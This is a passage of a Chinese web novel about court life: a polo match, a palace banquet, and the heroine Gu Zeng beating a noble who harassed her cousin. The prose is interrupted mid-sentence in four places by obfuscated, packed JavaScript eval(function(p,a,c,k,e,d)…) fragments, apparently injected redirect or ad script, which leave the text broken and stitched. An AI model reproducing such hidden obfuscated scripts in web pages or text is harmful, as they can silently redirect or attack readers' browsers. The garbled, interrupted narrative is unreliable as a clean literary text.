她还有些迟来的后怕,若是翻墙被擒获,人被压到了皇帝面前,那便是无论如何也洗刷不清的罪行,到时候“两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大昭若有什么不成文的规定,这大概便是其中一条——“二公子”说的定是那程家的二公子,程彧。 突闻故人名,顾曾心间一滞,心跳无故隆隆作响起来,伴随着一阵漫长又奇妙的异感涌上心田。 明明胸口又麻又痒,她却不自觉地扬起了唇角:有人曾在一不见天日的石窟中大言不惭地说自己的马毬技艺冠绝京城,原来他没在吹嘘啊。 宫人将她领至赛场处便躬身告退。 毬场此刻热闹非凡,北处有一高阁,四周围以朱栏,隐隐可见其中几道玲珑倩影,想来是大昭皇室子弟。而寻常的贵女则分居毬场两侧,同世家公子们一起摇旗呐喊。 场上击毬者各个脚蹬黑靴,头戴青幞,手中的偃月杖灵动挥舞,看得人眼花缭乱。 满场神骏往来奔驰,尘土高扬。 顾曾远远瞄了一眼,依稀可见一人身着织金缀玉的紫衣,骋于玉骢马上,鞍饰上垂着别人都没有的五彩绦带。 她心跳莫名乱了一拍,耳畔倏然阒寂无声,就好像这满场的人都凭空消失了一般,而那个人的一举一动却放大了数倍,极其清晰地映在她眼中,挥之不去、久久不散。 她当即以一声短促的笑来掩饰这诡异的慌乱,心道:“花里胡哨。” 40.空自愁(六) 一阵徒劳无功的掩饰过后,顾曾近乎狼狈地别开眼,留意到了毬场旁的关风遥。 关小娘子生得小巧可人,于一众女眷中也是十分突出的俏丽,不过此刻她神色恹恹,心思显然不在毬场上。 顾曾是见过她对真正上心的人是何模样的,忽地心有所感:“这关风遥好像也没那么喜欢程容与,莫不是装的?” 刚有这般想法,她便狠狠掐了自己一把,人家中不中意的,与她也没干系,妄加揣测乃是庸人所为,才不能自甘堕落。 恰巧远处响起一声鼎沸的喝彩,顾曾这才回神望去——原来是方才那花里胡哨的家伙又进一毬。 可惜她离得远,听不清他的笑声,更瞧不清他该是怎样得意的神色。 这种可惜,又罕见地让她心生出几分怅然。 此刻,只听“叮铃”一声响。玉磬音锵然悠远,如山间清风般响遏行云,高阁檐下的雀鸟四散惊飞。 一腰跨金刀的千牛卫越过众人,做手势分散开两队,朗声道:“九毬已至,胜负已分。” 满场霎时鼓声大震,几乎要把整座毬场掀翻。 震耳欲聋的欢呼喝彩中,越过人头攒动的毬场与赛席,遥遥可见那紫衣男子利落地翻身下马,同时一把扯开了幞头,满头乌丝随风而扬,甩出一道潇洒的新月。 他将马缰挽在臂弯中,边挽髻边踱步至西域使团面前,笑着同他们讲话,举手投足都是熟悉的模样。 自鼎沸的人潮中不难看出,这大概是一场精彩绝伦的马毬赛,而顾曾到得太迟,只来得及瞥上了最后一眼。 她忽然便后悔起来,懊恼着怎么在宸王府耽搁了那么久,竟误了她看…… “怎么会!”她抓耳挠腮地重重喘了几口气,心道,“马毬赛我看得多了,纵然这家伙在,又又又有什么可看的?!” 可是她又不得不承认,错过了他此时的无双风华,再有下次,又不知该是何时了。 顾曾只感到一股前所未有的憾意与不甘当头劈来,一时间胸动如雷,呼吸异常紊乱,异常到让她终于意识到了不对劲。 她此刻方朦朦胧胧明白过来,怕是先前那时常困扰她的癔症又发作了…… 这病一旦有了开始的苗头,便极难压制,非得逼的她做出一番惊世骇俗的疯癫事来才肯罢休。 可这里这么多人,顾曾可丢不起这个人。于是她匆匆回身,打算逃跑,却连路都不及看清,险些撞上前来招呼她的关夫人。 “哎哟,阿曾这是要去哪?”关夫人今日打扮得端庄大气,正手持一把绿玉扇笑着,“从哪整得幂篱?若不是瞧见你衣服,姨母还认不出你呢。” 她替顾曾拨开幂篱的一边,笑意带着慈祥,“阿曾此等容色自然要大大方方露出来才好。喏,那就是唐鸿雪唐大人,你可要仔细看看。” 顾曾平复着呼吸,不自主顺着她手指的方向望去,唐鸿雪正是适才喊停的那位金刀侍卫,人生得高大强壮,脸也板正英武,颇为俊气。 而他对面,有个纤秀翩翩的紫衣男子正在同他寒暄,丰神隽朗的脸上挂着一抹傲睨万物的坏笑。 关夫人见她如此慌乱的模样,双颊还泛着一丝不自然的红晕,身为过来人,登时了然,盈盈笑着同身旁另一位贵妇打趣道:“我就说她能中意,瞧她这样子,心中不定有多欢喜呢。” 中意?怎么可能?! 顾曾承认,此刻她眸间的确被那袭紫衫充斥,可这并不妨碍她满心写满了“混蛋”二字。 程容与这厮,不仅无情无义地与她断绝了往来,还害她得了癔症,当得起一声混蛋,还是十足十的那种。 可就是这样一个混蛋,却让顾曾无论如何也移不开眼,甚至,还望着他的身影露出一道微笑。 片刻后,顾曾这才猛地一握双拳,指尖嵌进掌心的一刹回过神来。 她蓦地将关夫人手中的篱纱抽出,掩好面容便急急往外冲:“我我我身子不适,先走一步。” “欸——别走呀。”关夫人眼疾手快地牵住她,这才发现她掌心里全是汗水。 她不得已松开手,拿帕子擦去染上的汗,沉声道,“你阿姐今日也出门了,府中无人,你走这么急作甚?” 顾曾猛喘了几口气,隐隐低喝:“都说了是身体不适。” 关夫人一副见惯了“犟种”的不悦眼神,不为所动:“你听话些,既然来了,哪有提前离席的道理,一会儿皇后娘娘在花萼相辉楼设宴,你也一同去。” 她这副命令口吻强硬得可怕,若要强行离开,免不得得同她一番争论。可顾曾现在浑身不爽,只想往地缝里钻,最怕的就是惹来别人的目光。 “行行行,我不走,姨母小声些。”她不再强求,只把幂篱又拉低了些,垂头站至关夫人身侧。 马毬赛结束,随着一阵欢快的龟兹乐奏响,一众胡姬扭着妖冶的舞步于场中载歌载舞。 顾曾这癔症来得突然,在极度心乱如麻之下,又听到胡乐这躁动的鼓点,更觉五脏六腑都被敲击声扭到了一起,明明不痛,却叫她起了一身细针密缕般的寒栗。 她努力平复了好一阵也不管用,直到鼓乐稍歇,才舒了口劫后余生的气,鼓起勇气抬头望去。 一掀眼皮,却正看到一袒胸露背的美艳胡姬旋至那紫衫人身侧,二人正在随着逐渐旖旎的曲调目送秋波。 顾曾还没闹明白这二人在干什么,便见那胡姬盈盈一笑,轻巧一跃至那紫衫人的怀中,又倏地在他颈侧落下一个缠绵悱恻的吻。 也不知是不是既没吃过猪肉也没见过猪跑,顾曾瞳孔骤缩成一点,腹中一口气险些没提上来,心底极其不是滋味。 那一瞬她连拔刀的心思都有了:“可恶……不对,放肆!这是在干什么?!!” 再瞧那紫衣人,他竟不顾满场的调侃笑意,如鱼得水地随乐而舞起来。那是何等灵动的胡旋舞,竟不输那胡姬,全然看不出他刚打完一场激烈的马毬赛。 众人见怪不怪地拍手叫好,下一刻,只见那胡姬将裸露的双臂环在他颈间,二人随之旋身而动,长发交织在一起,看得不少人面红耳赤起来。 关夫人拿扇子遮住自己黑了的半张脸,勉强笑眼弯弯:“哎哟容与这孩子,又胡闹起来了不是。” 另一个贵妇人也笑道:“他不闹我反倒觉得不像他呢。” 清风温柔地拂过,顾曾却有种被铁刀子刮过的刺感,就这样一动不动地看着前方。 她也不知自己为何会对这样轻浮放荡的人有所惦念,可是印象中,先前的他明明不是这个样子。 晌久,她才倏地一笑,心中也跟着释然了:“也许这才是真正的程二公子罢。” 早在见到此人之前,她其实就明白的,世人都说他是天上地下第一混账的纨绔,再夸大其词,他本人也必不是什么好东西。 怪只怪她太看重“情谊”二字,与此人在生死边缘徘徊过几次,便真拿他当自己人了,还糊里糊涂地对他改观起来。 如今想来,并非是他这个人与传言不同,而是那时的她脑子不清楚,执拗地认为只有自己认识的程二公子才是真正的他。 直至此刻,她方明白过来,她心心念念的那个程容与终究只是活在她的臆想中。 一曲奏毕,众人逐渐散场离去,大部分观毬的郎君和小娘子都直奔兴庆宫毬场附近的花萼相辉楼赴晚宴。 关风遥朝关夫人走来,见她一脸阴晴不定,而顾曾双手紧握立在一侧,面色苍白如纸。 她还以为自己偷会周姐姐的事情被顾曾告诉了关夫人,悻悻一个低头,哽咽落泪一气呵成:“阿娘,女儿知错了。” 哪知关夫人却并不理会她,眸间怒火熊熊作燃,咯吱咯吱快把后槽牙都咬碎。 待到四下人都散得差不多了,她才恨恨啐道:“这个程二,实在是荒唐!不肯应下娶你之事,还当众调戏舞姬,实在是欺人太甚!” 关风遥几不可察地舒了口气,缩了缩鼻子,仍是一副泫然欲滴的模样:“阿爹难道在程大人那里碰壁了?” 关夫人由她挽着,二人款款向花萼相辉楼走去,顾曾魂不守舍地跟在她们身侧。 关夫人忿忿说道:“程大人只说自己管不住这个儿子,说什么‘一切听天由命,看他自己的缘分与造化’,这简直是鬼话连篇!父母之命媒妁之言,依我看,他如此搪塞,还是存心想攀陛下的高枝,也不拿镜子照照他家那混世魔王,陛下能由得这种品行不端的人做驸马么?” 关风遥小声附和,恰时提醒:“阿娘,您小声些,这么多双眼睛看着呢。消消气,莫气坏了身子。” 虽然不知自己为何会气成这样,但顾曾心道:“这话说得好啊,恼归恼,莫气坏了身子。” 她对自己重复了几遍,心境也跟着稍许开阔,癔症也大有好转之势。 人看开了,再抬眼望向天空,但见晚霞绚丽夺目,如同一幅扣人心弦的画卷。 天色将暗未暗,和煦的晚风拨动得人心浮痒。 程彧纵马赶回程府,第一件事便是往下扒拉那身紫皮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他也不恼,笑吟吟道:“朝我撒气做什么?要怨也只怨你自己在毬场上风头太盛,明明晚去了两刻,却一上阵就扭转乾坤,轻轻松松赢下此局。我瞧不少自持稳重的大人都止不住地为你尖叫喝彩,遑论那些本就对你格外‘中意’的……” 程彧捂住耳朵:“好好好,都是我自作自受,下次我就该在旁边看,睁眼瞧着他们是怎么输给西域人的。” 他被气个半死,发了好一通脾气后才安静下来,顿时便觉倦意上涌,便合着眼地倚着桶壁歇息。晶莹的水珠混着潮热的汗液滑落,在水面坠出丝丝涟漪,又被他沉重的呼气声吹散开来。 快要睡着之时,他才蓦地睁开眼,恍然了一瞬。 不知为何,他总觉今日格外心神不宁。 先前还以为是要同西域人打马毬才心中忐忑,可现在松弛下来,这不安的感觉却更重了,仿佛头上悬着一把随时都要劈将下来的剑,又仿佛即将被一颗惊雷炸得脑袋开花。 偏头望去,外头的天色明明好得很,一朵乌云都瞧不见,又哪来的雷?便心道,大概真是自己多虑了罢。 “对了,”程彣说道,“给我看看后背,楚胜偷袭你那下还好么?” 程彧任由他掀开自己如瀑的墨发,露出右后肩一道清晰无比的紫红色淤青。 程彣倒吸了一口凉气:“这混账下手也忒狠,本就是为在西域人面前立威才办的赛事,他倒先和你闹起内讧来,叫西域人看了这么大一个笑话,明日的奏折上定少不了参他莽撞坏事的。” 程彧没所谓地拢了拢头发,漫不经心道:“他一贯如此,觉得被人抢了风头就要抢回来,抢不过就伺机报复。但参他这事你就别管了,赢了毬赛本是好事,咱们斤斤计较许是会扫了陛下兴致。” 程彣思忖道:“放心,不会让你白吃哑巴亏,早晚有他还回来的时候。” “谢了。”程彧冲他眨眨眼,在浴桶中抻了抻身子。眼皮更加沉重,他便知不能再继续泡下去了,只好依依不舍地爬出来擦拭头发,换上程彣早就备好的干净衣物。 没多久,程二公子身着一袭宝蓝色圆领襕衫,端出一副俊如珠玉、朗若朝霞的风姿,出门了。 程彣早已在程府门口候他,浅笑着递给他一束缰绳,望了望天,说道:“天色还不算晚,你若不想见那些人,我们走慢些就是。” 程彧笑着应了句“是”,抬眼望向天际几片残云,心里只嘀咕:“老天爷你行行好,千万让我平安渡过此夜。” 41.空自愁(七) 四下灯火如昼,晚空留有一片稀薄柔和的光。 宴会才将将开始,顾曾已经看得眼花缭乱、头昏脑涨。都说京城里乱花渐欲迷人眼,她先前还觉得夸大其词,现下不得不真信。 关鼎大人虽为鸿胪寺少卿,但在京城这种高官云集之地,他的官阶甚至并不够格让家中女眷来参加皇后设下的宴会。 好在德翎郡主一向和关风遥交好,关夫人又侃侃善谈、精通美容之道,才会被特邀而来。 顾曾浑浑噩噩跟着她们,已经数不清自己见了多少个这家的国公夫人、那家的侯夫人、那家大人的夫人,还有她们数不清的女儿女眷们。 总而言之,脸没记住几个,名字更是没留下多少印象。 不过她倒是意外地发现关夫人和关风遥的人缘极好,在众高门贵女中混得风生水起,尤其是关风遥,不论哪家的小娘子看她皆是笑盈盈的,不但愿意多跟她说上两句话,还总是一脸恳切地邀她一起玩。 没多久顾曾就遭不住了,好在她在京城没有熟人,也不怎么开口说话,头上还一直戴着个幂篱遮着脸,在众女齐聚的花团锦绣中鲜少被留意到。 她也是这时候才意识到自己有多无趣,既不好酒,也不善音律舞韵,索性只安静地趺坐在一旁,听着身侧几位小娘子醉醺醺地对诗。 几炷香的玩乐过后,众人的酒令都行了好几轮,顾曾还端坐在侧。宽大的幂篱遮住了她大半身躯,巧妙地掩盖住了她不知所措的惶然。 直到宴会过半,她眼前一花,终于有“麻烦”主动找上了门。 一娴雅姝丽的女子来到她对面,醉醺醺笑道:“这位娘子,你可是阿遥口中的顾表姐?” “褚姐姐,你醉了,非来招惹我表姐做什么?”关风遥随后而来,扶住这女子摇摇欲坠的身躯,望向顾曾的眼神还带着几分畏惧和心虚。 顾曾对她笑道:“阿遥,我不吃人的,别害怕。” 关风遥明显一惊,脚下细碎交叠,连退了好几步:“那那那你们聊,我不打扰。” 直至她一溜烟跑个没影,顾曾这才来得及打量面前的陌生女子,见此人虽醉意不浅,举手投足却甚是娴雅,不必多说,又是一位高门贵女。 此女从裙至鞋袜皆是古朴的湛青色,鬓发高绾、头束玉冠,膝上还搁置了一把黑漆木白马尾做的拂尘,竟是个女冠。[1] 三言两语之下,这女子自报了家门,是西南巡抚褚家的千金——褚念筠。 二人对过年纪,褚念筠比顾曾还大上几岁,都是在一众刚过及笄之年的小丫头里格格不入的“老人”。 不过褚念筠自称已在玉真观修道三年,不受礼教困扰,也无人催她婚嫁,自由自在,潇洒得很。 至于修道的缘由为何,她并没细讲,顾曾也不便多问。 褚念筠道:“我看娘子端坐于此大半个时辰,身姿挺拔,如松如竹,阿遥赞你像个侠客,我本来不信,见到真人这才信了。” 顾曾颇为诧异,想不到还能从关风遥嘴里听到关于自己的好话。 褚念筠醉得面色嫣红,活像一株开得极盛的芍药,笑道:“顾娘子可否有意同我们‘南音’诗社的姐妹们行令对诗?” “我?”顾曾忙摆手,“不去不去。” 她自打见过姜祐珣后便一直杯弓蛇影,看谁都像居心叵测的暗探,这位凭空冒出来的褚念筠突然相邀,更是可疑。 只是顾曾有个特质,一般情况下来说,她怕什么便会来什么。 果然,拒绝的话刚说出口,诗社的一群小娘子便在褚念筠的招呼下亲切地围了过来:“顾娘子来嘛——” 顾曾觉得自己活像进了盘丝洞的唐僧,不容推辞地被她们架走,千红万艳争相于她身旁竞开,教她简直不知该看哪一个。 “好吧……”不就是作诗么,她虽然没什么文学天赋,但也不至于三两句就露了怯。 不过仅过片刻,她就发觉是自己多虑了。 这群小娘子对于作诗显然也没什么敬畏之心,嘴里嚼着时鲜瓜果,边闲聊边有一搭没一搭地联着诗句。顾曾不需要怎么动脑都能对答如流,甚至还能分出心思留意几人在聊什么。 这南音诗社共九人,以褚念筠为首,都是些家乡在南方的小娘子,这才取名为“南音”。 出身淮南、人缘超群的关风遥也是其中一员,只是她此刻正忙着和德翎郡主比射艺,没来和诗社的其余几人联对子。 褚念筠笑盈盈同顾曾解释:“我们这诗社不过是仿着十余年前‘九城飞花’组了个草台班子,供姐妹们聚在一起玩闹的,称不上是真诗社,顾娘子你可别笑话我们。” 顾曾连道“不敢”,挑了挑眉:“‘九城飞花’是什么?” 正巧此时路过个不知哪家的夫人,像听到什么晦气的东西一样,责备地瞪来一双死鱼眼,哑声道:“褚家娘子,你又在胡言乱语了。你们这些个小娘子啊,不想着学些女诫,成日里净说些陛下不爱听的禁词,啧……可是要家中长辈操碎了心唷。” 几位娘子互相吐吐舌头,全然没把她的话放在心上。 顾曾看得有趣,见那夫人还欲再说些什么礼教,远处却忽然传来几声悠扬清脆的磬音,声声响起,由远及近,很快就到了宫门处。 众人霎时收敛了欢声笑语,放下手中杯盏,端出一副眼观鼻鼻观心的敬意,纷纷稽首行礼。 顾曾心知来人定不简单,也跟着照做。 不一会儿,一阵香风伴随着几声女子的婉转笑音扑面而来,眼前依稀有几道倩影站定。 挑着琉璃灯盏、打着珠帘帷帐的宫人鱼贯雁行而来,众人皆端得方正,无人敢大声逾矩,适才还喧嚣鼎沸的宴会一息之间就成了潭死水,朝里面丢个石子都溅不出多少水花。 寂然无声间,传信宫人提起一口气,捏着嗓子正要高唱,珍珠帷帘却“哗啦”一响,其后探出个身姿灵动的小姑娘来。 但见她肤若凝雪,虽年岁尚浅,眉目却已明艳如春半桃花,眼睛乌圆灵动,比任何奇珍异宝都来得璀璨。 莫说那些个不正经的世家公子,顾曾也被此番姿色晃得失神一瞬。 这小姑娘咯咯娇笑两声,声音如银铃般清脆,极为动听,说道:“大家怎得都这么拘谨?母后,你快让诸位郎君娘子们免礼罢,如此站着不出声,人要闷出病来的。” 珠帘后一个女子浅浅叹了口气,语气满是慈爱:“你呀你,真是心急到一刻都等不了,便依我们小琳琅,诸位快免礼。” 众人应声起身,却仍不敢妄为,待到皇后娘娘携着几位老王妃和长公主落座,宫人布好帷帘,宴会这才随着一阵悠扬的丝竹音再次喧腾起来。 那貌若娇花的小公主活泛异常,在宴会上到处乱窜,身后的老宫人追得大汗淋漓,口中不住劝阻道:“哎哟琳琅殿下,您慢点跑,老奴实在是跟不上了!” 褚念筠见顾曾的视线被她吸引,附在她耳边笑道:“那是琳琅殿下,单名一个‘礿’字,皇子中行六,今年年初将将满十五。” 顾曾默默颔首,原来这便是大昭第一美人,果然名不虚传。 姜礿的名号她是有所耳闻的,这位小公主逢人便笑,自出生便集万千宠爱于一身。可惜她生母早逝,年幼便过继到了皇后膝下,此后被皇后宠得愈发骄矜无度。 “听说陛下要指程二公子做她的驸马呢。”褚念筠又补充道,“哦对,我倒忘问了,顾娘子刚来京城不久,可见过我们小容与?若是来看了今日的马毬赛,一人进了七球的那位年轻公子便是了。” 顾曾敷衍地抬了抬唇角,自认不是很想知道和程彧有关的事,但大抵是京城太无趣,人人都喜欢聊些家长里短的闲话,连入了道门的褚念筠也不例外。 “程二公子啊……”她挤出一个违心的笑容,眸中平静无澜,“听说过,不认识。” 褚念筠拆开一块角黍,轻轻咬了一口,随口道:“既然是‘听说’,那约莫也不是什么好话,他那口碑之差堪称世间罕有。可是依我看,容与倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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先前在渭城,她已对程家世子多有耳闻,世人赞其是千百年难得一遇的大才子,说他崇儒重道、笃学慎行,为人又甚是谦和恭谨,年纪轻轻便高中进士科的探花郎,如今更是御史台的中流砥柱。 总之,天花乱坠夸了一大通后,她犹记得那说书先生大笔一挥,将程彣列为了“大昭俊贤榜”榜首,与之相对的,便是他那位列“大昭纨绔榜”第一的弟弟。 如今一想倒觉有趣,这程家的祖坟难道一半冒青烟、一半冒黑烟么? 另一位小姑娘打趣道:“京城那么多才情卓越的郎君,怎么胡姐姐只钟情程家世子的诗,我瞧着邓公子、方公子等人的诗都不错。” “你懂什么?”胡娘子冷哼一声别开头,“他们只不过是附庸风雅的俗人罢了,怎比得过当年艳绝世人的‘京城双璧’?” 顾曾正要问“京城双璧”是谁,先前劝她们多读女诫的那位夫人又来了,依旧瞪着双死鱼眼:“哎哟姑娘们,慎言、慎言!你们私底下说着玩也就罢了,也不看看今儿这是什么场合?皇后娘娘就在边上听着,你们这好好的却又提起萧淩那个逆贼之后,可不许再说了。” 众人相觑不语,都憋着一口笑。顾曾也不必问了,这位夫人的大嗓门已经回答了她心中疑惑——所谓京城双璧,想必指的便是程彣和那位名为“萧淩”的逆贼之后。 萧淩…… 巧了,这次顾曾是知道的。昭毅右将军、她阿爹的副将萧仕临就这么一个儿子,她绝不会忘记他的名字。 褚念筠见她出神,压低了声音解释道:“当年程家世子与萧家世子情谊笃深,二人是一般的年纪,又同样才华出众,程世子精吟诗作赋、萧世子擅舞剑作画,时人称二人为京城双璧……” 后面的事情不用她说,顾曾也便知道了。 京城双璧早在十四年前就不复存在,二人的命运也是迥然,一半升为天上月,一半沦作辇下尘。 萧仕临于西南战败,被朝廷以谋逆之罪论处,萧家成年男子皆被抄斩、女眷没入官奴,而年仅十三岁的萧淩被判了流放西南,没多久就死在了那烟瘴之地,与他的父亲一同埋骨青山。 令人意想不到,时至今日,那场大战仍是京城人的大忌,连宣之于口都成了要被苛责的罪行,“萧淩”之名和其人也像怨灵一样被永远封存在了某座不知名的山中,终岁经年不见天日。 褚念筠幽幽叹了口气,惋惜间甚至带着几分痛惜:“其实,萧家世子又何罪之有?” 42.空自愁(八) 而另一侧,小公主姜礿不顾宫人的呼唤,依旧满场乱跑,两股娇俏的发髻如同兔耳一般,随着她欢快的步伐摇摇摆摆,煞是娇憨动人。 众人见她可爱,自然乐得对她百般包容,不过没人知道这小公主跑来跑去究竟是在寻什么。 不过很快,众人便明白怎么回事了。 姜礿公主每扎到一个人堆里就扯着脖子寻觅一圈,高声喊道:“容与哥哥,你在么?容与哥哥?” 她就这样坚持不懈地绕了一大圈,骚扰了在场所有人一遍,也没寻到她的容与哥哥,登时不顾形象地跌坐在地,瞬间哭得泪水涟涟:“为什么容与哥哥不来母后举办的宴会?!他是不是不想见到我,讨厌!” 老宫人甩甩眼色,几个宫女忙将她围在中心,防止别人看高贵的公主殿下当众出糗。 老宫人口中不住安慰道:“殿下,您别哭啦。这儿这么多人,随意找一个,哪个不愿意陪您玩呢?莫说找一个,就算找十个也行呀。” 姜礿的眼泪却淌得愈发凶了:“我不要旁人陪我,我就要容与哥哥!” 在一边默默看戏的顾曾现在是信了,他程容与自夸是京城第一受欢迎的小郎君一点儿都不为过。 姜礿的呼声吵得她头疼,果然再好看的皮囊也不能恃靓行凶到无法无天的地步,便将视线偏到一侧,定睛一瞅,却瞧见人群边的关风遥也在偷偷抹泪。 褚念筠也几乎同时留意到了:“阿遥怎么回事?射艺玩得好好的,怎么哭起来了?” 德翎郡主不知去做了何事,现在不在关风遥身侧,关夫人也被几位长公主拉着去闲聊美容秘方,没人护着的时候,关小娘子便被几个神色轻佻的公子哥盯上了。 这几人的笑容明显不怀好意,有一人竟还试图动手动脚。 褚念筠看得一清二楚,怒极:“这帮混账,竟当众调戏阿遥,当别人都是瞎的么?!” 她拍案而起,再一看,方才还在身边的顾小娘子已经不知何时冲上前去了。 顾曾阔步如风行至关风遥身侧时,已经可以听到她浅浅的啜泣声。 那几个不知好歹的公子哥许是看她并没有那么“高贵”,竟不加掩饰轻薄,窃笑道:“关小娘子花容月貌,今儿打扮得真是勾人,可惜程二没来,你这般心思怕是要扑个空了。要不这样,你赏我个笑脸,陪我去后面的池畔逛两圈,或许我还可以……” 关风遥正哭着,又眼睁睁看着她那表姐一路虎虎生风走来,篱纱后露出她一双凶悍至极的眼睛,而后,一巴掌扇得那狂徒原地打了三圈转。 其余几个陪着笑的,也是一人得了一巴掌,没人幸免于难。 那公子涕泪横流,甚至险些当场遗溺,横眉竖眼指着顾曾便骂:“你个……” 骁悍难驯的顾娘子捋起衣袖,哐哐又是几拳下去,刚爬起来的几人又被她重新抡到了地上。 “你……”那人口鼻带血,颤颤巍巍正要探出一指,却被身侧的同伙死死拦住。 “十郎,莫再说了,兄弟几个再陪你挨两下可要受不住了。关娘子,我们几个给你赔不是,请这位……这位娘子放我们一马!” 顾曾一只轻巧的缎子鞋落在那位十郎的胸口,目露凶光:“瞧见没,你兄弟都比你有眼力见,知道什么该说、什么不该说了么?” 那人被她踩得胸口剧痛,面色涨得通红,没过多久就受不住了,勉力给关风遥打了个揖:“关娘子,在下……满嘴胡言,对你多有冒犯,还请宽恕则个。” 关风遥早已吓得脸色惨白,怯怯揪住顾曾衣角:“你……你快松开他吧,我没事了!” 顾曾心道一句“小姑娘还是太软弱”,脚下一松,那公子仓皇地从地上爬起。 四周已围了不少看热闹的人,顾曾没工夫搭理他们,抬手替关风遥理了理凌乱的发髻,轻声道:“别哭了,哭有什么用,回家我教你几招,或是养几个贴身随侍,下次再碰见这种人直接动手,别跟他们客气。” 关风遥只垂泪,眉心紧紧蹙着:“你下次别打人啦,这这太失礼了……” 眼见围来的人越来越多,那公子倏然指着她大喊:“你你你,你凭什么打人?你知道我是谁么,我可是……” 顾曾冷笑道:“管你是哪个混账王八家的蛋。贵而不骄,富而不淫,你爹娘没教过你这个道理么?” 关风遥羞惭满面,悄声道:“表表表姐,你别这么粗鲁……这么多人看着呢。” 关夫人也循声而来,还以为又有什么好戏,想着能缓解一下她下午被程彧气个半死的心境,怎料定睛一看,却发现众人围着的是自家女儿和那渭城农舍女,旁边还有个鼻青脸肿、满脸是血的公子,看样子好像是端仁伯家的杨十郎。 “阿遥!”她怒喝一声,“还不快过来,你跟她搅在一起做什么?” 关风遥脚下移了半步,却不动了,关夫人又催促了一句,她却倏地垂下头来,两眼一闭,几颗硕大的泪珠随着掉落,大喊道:“不是顾娘子的错,是杨十郎先对我出言不逊的!!” 她紧捏衣角,浑身已是抖若筛糠,顾曾诧异地抬了抬眉,将手落在她肩上,轻笑一声:“不错,有长进。” 那杨十郎又如何肯认,招呼着他那几个同样凄惨的兄弟站成一排,冷冷道:“你们血口喷人!说我调戏你,你是什么天香国色么?有何人能给你作证么?怕不是你看程容与不要你,想要往小爷我身上倒打一耙吧。” 关风遥鼻头一酸,眼泪还没来得及落下,却见杨十郎在众目睽睽之下又挨了她表姐当胸一脚…… “医正,快喊医正!”杨十郎躺在地上杀猪般嚎叫起来,“杀人啦,我要死啦——” 铺天盖地的指责如洪水劈头盖脸涌至,顾曾冷笑一声,充耳不闻,由他们爱怎么说怎么说,反正他们说的都对,她就是不尊礼节、目中无人、暴戾不堪……权当是在夸她了。 褚念筠提裙而来,清咤一声:“慢着,我作证,就是这个杨十郎先不敬关娘子的。” 杨十郎和他的同伙却道:“你们相互交好,都是一伙的,自然会向着她说话。” 褚念筠恨恨瞪了一眼,却也没什么别的主意。这件事再宣扬下去也是对关风遥不利,而于这杨十郎来说,充其量不过又一风流韵事而已。 还有几位夫人不停地在周围叽叽喳喳,指着顾曾说她好好的姑娘家,不学着贤良淑德,却偏偏净学男人的招数,将来要嫁不出去。 顾曾懒得同他们辩解,将关风遥推到褚念筠怀里,旋身便走。 刚走两步,宫门处却传来一声清越的呼喊:“本王也可以作证。” 听闻此声,杨十郎等人面色一变,连窃窃私语的人也尽皆住了口。 顾曾回身一望,但见迎面大步流星走来个长身玉立的年轻人。 他腰别一把金光璨然的佩剑,身背一张半人长的大弓,生得剑眉星目、神采奕奕,夜空中一袭猎猎红衣更是衬得他有种跋扈张扬的俊美。 来往的宫人立刻行礼:“参见荣王殿下……” “免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那有何不可?你瞧着吧,你四哥我不会输的。”荣王冷笑一声,挽着他妹妹一起朝顾曾走来。 两人的个头相差有点大,姜礿在他身侧简直就似一只玉做的小玩偶。 其余人都自觉地为二位皇子让出一条路来,顾曾在这条路的尽头扶着额,心道:“……真是怕什么来什么,还一来来俩。” 褚念筠看出她心中有虑,悄声宽慰道:“顾娘子你莫慌张,荣王殿下和琳琅殿下都是极心善的性情中人,比试不论输赢,你自在发挥便可。” 想到她刚刚还夸程彧正直,顾曾完全不敢再信她的话,哭笑不得道:“好、好……” 姜礿三步并两步跳到她面前,歪了歪头,娇憨一笑:“这位娘子,你为何戴着幂篱?可是生热疮了么?我宫里有上好的玉颜膏,明日我托人给你送过去。” 顾曾欠了欠身:“回殿下,小女无恙,只是今日妆容有损,不便见人,殿下见谅。” 荣王上前一步,沉声道:“是妍是媸,怎样都无妨。适才我目睹了娘子一手出神入化的手中箭术,不成想京城还有如此藏龙卧虎的高手,来与本王比一场,若是胜了,本王这把神策军将军剑便赠于你。” 他不由分说地解下自己那把镶金缀玉的宝剑,丢在一旁的案上,显然不容顾曾拒绝他的相邀。 他旋即又冷笑了一声:“若是娘子输了,便随本王去神策军走一遭吧,好好交代交代你这身功夫是从哪得的。” 43.空自愁(九) 顾曾没应声,只掀了个白眼,心道可笑,居然问她从哪习得的武艺。 这种东西又无法投机取巧,她自然是刀山血海中摸爬滚打练出来的,难道还能是向别人索求来的么? 关风遥经适才一闹,已全然无游玩的兴致,本打算开溜,可看到顾曾被这位素有“凶神”之名的荣王殿下为难,弱弱开口道:“荣王殿下,那是小女的表姐……” 她还没说完,便被眼疾手快的关夫人捂住嘴拖了下去。人群议论纷纷,荣王甚至根本没听到她的声音。 关夫人把她拉到身侧,呵斥道:“你莫不是疯魔了,瞎掺和什么?” 